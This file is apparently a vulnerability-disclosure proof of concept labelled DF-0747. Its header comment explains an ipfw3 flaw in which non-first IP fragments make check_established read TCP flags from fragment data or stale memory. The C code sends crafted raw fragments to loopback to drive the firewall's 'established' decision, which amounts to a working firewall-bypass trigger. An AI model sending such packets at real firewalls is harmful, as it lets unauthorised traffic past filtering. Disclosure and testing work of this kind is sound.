DF-0747 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 | /* * DF-0747 โ check_established reads TCP th_flags from non-first IP fragments * without pullup, causing an OOB read / firewall misclassification. * * Bug (sys/net/ipfw3_layer4/ip_fw3_layer4.c:173-191): * check_established() does: * struct ip *ip = mtod(m, struct ip *); * if (fid->proto == IPPROTO_TCP) * if ((L3HDR(struct tcphdr, ip)->th_flags & (TH_RST|TH_ACK|TH_SYN)) != TH_SYN) * match; * * L3HDR(struct tcphdr, ip) == (tcphdr *)((uint32_t *)ip + ip->ip_hl) * โ dereferences ip + ip_hl*4 + offsetof(tcphdr, th_flags) == ip + 20 + 13 == ip + 33. * * The dispatcher ip_fw3_chk() (ip_fw3.c:384-409) only calls * PULLUP_TO(hlen + sizeof(tcphdr)) when offset==0 (first/un-fragmented). * Non-first fragments (offset>0) skip the pullup, so the TCP header * pointer is stale: for fragments the payload at ip+20 is *fragment * data*, not a TCP header. Reading byte ip+33 thus either reads * attacker-controlled fragment data (if payload >= 14 bytes) or reads * 5+ bytes past valid m_len into the mbuf backing store (min-size 8B * fragment โ 28-byte packet, read at offset 33). * * pfil_run_hooks runs BEFORE ip_reass (ip_input.c:631 vs :858), so each * fragment individually reaches check_established. * * Impact: the firewall's established-rule decision on fragments is driven * by attacker-controlled or stale bytes โ a deliberate bypass / unpredictable * classification. No panic (read stays within mbuf backing store), no * userspace info leak (result used internally). * * FreeBSD ipfw2 uses the cached f_id.flags (populated only for non-fragmented * TCP at the same offset==0 point), avoiding this bug. * * This PoC is run as ROOT (test harness). The actual vulnerability is * triggered by any packet reaching the host's ip_input โ local or remote. * Precondition: ipfw3 loaded with a check_established rule (set up by * setup.sh). */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define SRC_STR "127.0.0.1" #define DST_STR "127.0.0.1" /* * Send a non-first TCP fragment (IP offset > 0) with a controlled payload. * Byte 13 of the IP payload is what check_established reads as th_flags. * * frag_offset: byte offset into original datagram (must be > 0, multiple of 8) * flags_byte: value placed at payload[13] โ read as th_flags * payload_len: bytes of IP payload (>= 14 puts flags_byte in-bounds; * 8 = minimum, causes OOB read of stale backing-store bytes) */ static int send_frag(int sock, int frag_offset, uint8_t flags_byte, int payload_len, struct in_addr *src, struct in_addr *dst) { int pktlen = 20 + payload_len; uint8_t *pkt = calloc(1, pktlen); struct ip *ip = (struct ip *)pkt; struct sockaddr_in to; if (!pkt) { perror("calloc"); return -1; } /* IP header */ ip->ip_v = 4; ip->ip_hl = 5; ip->ip_tos = 0; ip->ip_len = htons(pktlen); ip->ip_id = htons(0xDF47); /* offset in 8-byte units; MF=0 (last fragment, offset>0 => non-first) */ ip->ip_off = htons(frag_offset / 8); ip->ip_ttl = 64; ip->ip_p = IPPROTO_TCP; ip->ip_src = *src; ip->ip_dst = *dst; ip->ip_sum = 0; /* kernel fills for RAW/IP_HDRINCL */ /* Payload: byte 13 lands on th_flags position */ memset(pkt + 20, 0xAA, payload_len); if (payload_len > 13) pkt[20 + 13] = flags_byte; memset(&to, 0, sizeof(to)); to.sin_family = AF_INET; to.sin_addr = *dst; ssize_t n = sendto(sock, pkt, pktlen, 0, (struct sockaddr *)&to, sizeof(to)); free(pkt); if (n < 0) { perror("sendto"); return -1; } printf(" sent: offset=%d payload=%d flags_byte=0x%02x (%zd bytes)\n", frag_offset, payload_len, flags_byte, n); return 0; } int main(int argc, char **argv) { int sock, one = 1; struct in_addr src, dst; inet_pton(AF_INET, SRC_STR, &src); inet_pton(AF_INET, DST_STR, &dst); sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock < 0) { perror("socket"); return 2; } if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) { perror("setsockopt"); return 2; } printf("=== DF-0747: check_established th_flags read on non-first TCP frag ===\n"); printf("Bug: ip_fw3_layer4.c:184 L3HDR(tcphdr,ip)->th_flags reads ip+33\n"); printf(" on fragments that have no TCP header (pullup skipped at offset>0)\n\n"); /* * Case 1: large fragment, byte 13 = TH_ACK (0x10). * check_established: (0x10 & (RST|ACK|SYN)) != SYN โ ACK != SYN โ MATCH * Expected: rule 100 (allow established) hit. */ printf("[Case 1] payload=24, th_flags_byte=TH_ACK(0x10) โ expect MATCH established\n"); send_frag(sock, 8, TH_ACK, 24, &src, &dst); usleep(200000); /* * Case 2: large fragment, byte 13 = TH_SYN (0x02). * check_established: (0x02 & (RST|ACK|SYN)) == SYN โ NO MATCH * Expected: rule 100 miss, fall to deny. */ printf("[Case 2] payload=24, th_flags_byte=TH_SYN(0x02) โ expect NOT established\n"); send_frag(sock, 8, TH_SYN, 24, &src, &dst); usleep(200000); /* * Case 3: minimum-size fragment (8 bytes payload per RFC 791). * IP header 20 + payload 8 = 28 bytes total. Read at ip+33 = 5-byte * over-read past valid m_len into mbuf backing store (stale heap). * The value read is non-deterministic; firewall decision is garbage-driven. */ printf("[Case 3] min-size payload=8, th_flags read at ip+33 = 5-byte OOB\n"); send_frag(sock, 8, 0x00, 8, &src, &dst); usleep(200000); /* * Case 4: payload=14 (exactly covers th_flags at byte 13). * Demonstrates the boundary: byte 13 is the last in-bounds byte. */ printf("[Case 4] payload=14, th_flags_byte=TH_ACK(0x10) โ MATCH established\n"); send_frag(sock, 8, TH_ACK, 14, &src, &dst); usleep(200000); close(sock); printf("\nDONE. Check 'ipfw3 show' rule-hit counters:\n"); printf(" rule 100 (allow established) should have Case 1 + Case 4 hits\n"); printf(" rule 200 (deny) should have Case 2 hit\n"); printf(" Case 3 hit either rule depending on stale backing-store bytes\n"); return 0; } |